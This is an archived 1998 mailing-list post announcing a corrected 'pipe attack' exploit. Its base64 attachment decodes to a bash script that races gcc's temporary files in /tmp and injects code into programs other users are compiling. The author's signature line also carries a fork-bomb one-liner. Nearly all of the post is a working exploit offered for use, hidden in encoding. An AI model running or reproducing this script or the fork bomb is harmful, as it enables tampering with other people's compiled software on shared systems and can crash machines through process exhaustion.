Final "pipe attack" exploit - AGHHHR!!!

=?UNKNOWN-8BIT?Q?Micha=B3?= Zalewski (lcamtuf@BOSS.STASZIC.WAW.PL)
Fri, 20 Feb 1998 21:31:02 +0100

This is a multi-part message in MIME format.

--Boundary_(ID_KNfdMUwmnwXK5XS6Dqd83Q)
Content-type: text/plain; charset=iso-8859-2
Content-transfer-encoding: quoted-printable

What a bad day! Previous, 'fixed' version was CORRUPTED!!! Aghrrr!!!
Sorry... Attached one is _correct_ FOR SURE...

(Right, I'm annoying and stupid :-)

_______________________________________________________________________
Micha=B3 Zalewski [tel 9690] | finger 4 PGP =
[lcamtuf@boss.staszic.waw.pl]
Iterowa=E6 jest rzecz=B1 ludzk=B1, wykonywa=E6 rekursywnie - bosk=B1 [P. =
Deustch]
=3D--------------- [ echo "\$0&\$0">_;chmod +x _;./_ ] =
-----------------=3D

--Boundary_(ID_KNfdMUwmnwXK5XS6Dqd83Q)
Content-type: application/octet-stream; name=Gcc-vir
Content-disposition: attachment; filename=Gcc-vir
Content-transfer-encoding: base64

IyEvYmluL2Jhc2gKIyBBZHZhbmNlZCBnY2MgdmlyYWwgaW1wbGFudCAxLjEKIyBNaWNoYWwgWmFs
ZXdza2kgKGxjYW10dWZAc3Rhc3ppYy53YXcucGwpCiMgKiogRE8gTk9UIERJU1RSSUJVVEUgKioK
CkNDMT1gZmluZCAvdXNyL2xpYi9nY2MtbGliIC1uYW1lIGNjMWAKCnJlbmljZSArMjAgJCQgPiYv
ZGV2L251bGwKY2QgL3RtcAoKZWNobyAiSSdtIGZyZWUsIEknbSBmcmVlISBPaCwgSSdtIGZyZWUu
Li4iCgp3aGlsZSA6OyBkbwogIFY9YGxzIGNjKi5pIDI+L2Rldi9udWxsfGN1dCAtZiAxIC1kICIu
ImAKICBpZiBbICEgIiRWIiA9ICIiIF07IHRoZW4KICAgIG1rZmlmbyAtbSA2NjYgJHtWfS5zICY+
L2Rldi9udWxsCiAgICBpZiBbIC1wICR7Vn0ucyBdOyB0aGVuCiAgICAgIHNsZWVwIDEKICAgICAg
Y2F0ICR7Vn0uaXxhd2sgJ21hdGNoKCQyLCJtYWluIik9PTF7eD0xfTt5IT0xJiZ4PT0xJiZtYXRj
aCgkMSwiXFwoIik+MCYmbWF0Y2goJDIsIm1haW4iKT09MHt5PTE7cHJpbnQgInByaW50ZihcIlRo
aXMgcHJvZ3JhbSBoYXMgYmVlbiBpbmZlY3RlZCFcXG5cIik7In07e3ByaW50ICQwfSc+Lmx2JCQu
aQogICAgICAkQ0MxIC5sdiQkLmkKICAgICAgY2F0ICR7Vn0ucz4vZGV2L251bGwKICAgICAgY2F0
IC5sdiQkLnMgPiR7Vn0ucwogICAgICBlY2hvICJHb3QgeWEgKCJgaGVhZCAtMSAke1Z9Lml8YXdr
ICd7cHJpbnRmICQzfSdgIikuIgogICAgZmkKICAgIHNsZWVwIDEKICAgIHJtIC1mIC5sdiQkLiog
JHtWfS5zICY+L2Rldi9udWxsCiAgZmkKZG9uZQo=

--Boundary_(ID_KNfdMUwmnwXK5XS6Dqd83Q)--